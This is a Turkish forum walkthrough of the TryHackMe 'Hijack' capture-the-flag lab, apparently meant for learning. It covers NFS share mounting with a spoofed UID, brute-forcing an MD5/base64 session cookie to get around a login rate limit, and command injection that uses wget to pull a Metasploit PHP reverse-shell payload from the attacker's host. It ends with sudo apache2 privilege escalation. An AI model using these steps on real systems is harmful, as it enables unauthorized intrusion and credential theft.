TryHackMe | Hijack

Will Graham

Katılımcı Üye
14 Eki 2022
581
489
TryHackMe | Hijack

merhaba arkadaşlar, bu konumda sizlere tryhackme.com platformunda ki "hijack" adlı makinenin çözümünü göstereceğim.
ilk olarak her zaman ki gibi bir port taraması yaparak başlıyoruz

9Ta-tjnGN8.png


tarama sonucunda 4 tane portun açık olduğunu görüyoruz. ilk önce 2049 portu yani nfs servisi üzerinden yürüyeceğiz. içerisinde paylaşıma açık bir dizin var ise bunu kendi oluşturduğumuz dizine mount ederek içerisinde ki bilgilere erişeceğiz. paylaşıma açık olan dizinleri görüntüleyebilmek için "showmount -e 10.10.196.230" komutunu kullanalım.

mdfIjxDT_UG.png

/mnt/share paylaşımının herkese açık olduğunu görüyoruz. "sudo mount -t nfs 10.10.196.230:/mnt/share /tmp/portakal" komutunu kullanarak bu dizini /tmp/portakal dizinine mount ettikten sonra dizine gitmeye çalıştığımızda bize yetkimizin olmadığını söylüyor. bu dizine erişebilmemiz için UID değerimizin 1003 olması gerekiyormuş. yeni bir kullanıcı oluşturalım ve bu kullanıcının uid değerini 1003 olarak ayarlayalım.

aoRlsJNpeY.png


dizinin içerisinde ftp kullanıcı bilgileri bulunuyormuş bu bilgileri kullanarak ftp servisine giriş yapalım.

Ozdx2qhZ.png


.from_admin.txt dosyası içerisinde rick diye birinin şifre denemelerine sınırlama getirdiğini yazıyor. bununla birlikte admin de dahil olmak üzere tüm kullanıcıların .passwords_list.txt dosyası içerisinde ki şifreleri kullandığı yazıyor. bize bir şifre listesi vermişler ve brute force yapamamamız için bir önlem almışlar, aman ne hoş. şimdi bu şifrelerin nereye ait olduğunu bulmamız gerekiyor.

ylNjS8Z.png


web uygulamasının üzerinde yönetici, giriş, ve kayıt sayfası yer alıyor. admin sayfasına admin olmadığımız için giremiyoruz.

Bil73kGdFS.png


login sayfasında her 5 şifre denemesinde 5 dk bekleten bir algoritma mevcut. ama bu sadece var olan kullanıcılar için geçerli. gidip de veri tabanında bulunmayan bir kullanıcıya deneme yanılma saldırısı düzenlerseniz her hangi bir engel ile karşılaşmıyorsunuz.

tabi bizden bunu yapmamızı istemediğini tahmin etmek zor olmuyor. bir doğrulama yapmamız gerekiyor ki kullanıcı adı ve şifreyi öğrenip sisteme giriş yapabilelim. bunun bir yolu da kurabiyelerdir tabi eğer bir şey ifade ediyorlarsa. bir kullanıcı oluşturup, kurabiyelerine bakalım.

9btiZWlBU.png


bu kurabiyeye iyi bakın, base64'e benziyor değil mi?

UFTbJ1PvQG-.png


kurabiyemizin içerisinde kullanıcı adımız ve şifremizin md5 ile şifrelemiş hali bulunuyor. burp suite ile kullanıcı adını ve şifreyi bu şekilde gizleyerek bekleme engeline kapılmadan deneme yanılma saldırımızı gerçekleştirebiliriz.

ScZPquCp03.png


burp suite ile isteği yakalayıp, intruder'a attıktan sonra yapmamız gereken sadece payload ayarlarını yapıp çalıştırmak kalıyor.

_FVKOY3fIrs.png


ilk form'u kullanarak deneyeceğimiz şifreleri girdik. ikinci form'a ise bu şifreleri md5 ile şifrelemesini, şifrelenmiş verinin başına admin: değerinin eklenmesini ve son olarak bu verilerin base64 ve url ile gizlenmesini belirtiyoruz. şimdi saldırıyı başlatalım.

eyl2jnZOV.png


deneme yanılma saldırısı başladıktan bir süre sonra, bir kurabiyenin farklı bir sayfa uzunluğu gönderdiğini görüyoruz (sayfada ki karakter sayısı). dönen cevaba baktığımızda doğru kurabiyeyi bulduğumuzu anlıyoruz.

cB3Xaxl.png


kurabiyeyi değiştirip sisteme giriş yapalım.

Ip_Db3vK7.png


yönetici sayfasında "service status checker" adında bir araç bulunuyor. bu araca bir servis girdiğimizde bu servisin var olup olmadığını sisteme komut göndererek öğreniyor ve sonucunu bize döndürüyor. yani burada bir command injection açığı bulunuyor :d metasploit ile bir php dosyası oluşturalım ve 80 portunu dinlemeye alalım. sonra ise &wget 10.8.149.48/ada.php komutunu kullanarak dosyamızı sisteme indirelim.

VdgctG.png


4444 portunu dinlemesi için kullanacağımız exploit/multi/handler modülünü de açtıktan sonra yüklediğimiz dosyayı çalıştıralım.

qP7ZUg.png


/home dizinini kontrol ettiğimizde rick isimli bir kullanıcı olduğunu görüyoruz. içerisinde ki user.txt dosyasını okumak için yeterli yetkimiz yok.

GT54KLyj.png


bulunduğumuz konumda config.php adında bir dosya var. bu dosya içerisinde ise rick adlı kullanıcının şifresi bulunuyor. şifreyi kullanarak rick kullanıcısına geçiş yaptıktan sonra /home/rick dizini içerisinden kullanıcı bayrağını alıyoruz.

569Hx.png


sudo -l komutunu kullandığımızda, root yetkisiyle "/usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2" komutunu kullanabileceğimizi görüyoruz. tabi sadece bununla bir şey yapamayız. işaretlediğim ikinci yere bakın. onu google da arattığımız zaman nasıl yararlanabileceğimizi öğrenmiş oluyoruz.

PfhGqB7N63QR.png


ilk kutucukta ki kodu exploit.c adında bir dosya'ya kayıt edelim.

69nWSd5u.png


şimdi ise ikinci kutucukta ki komutları terminale girelim.

G90HpZP31Vi.png


...

TryHackMe | Hijack
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.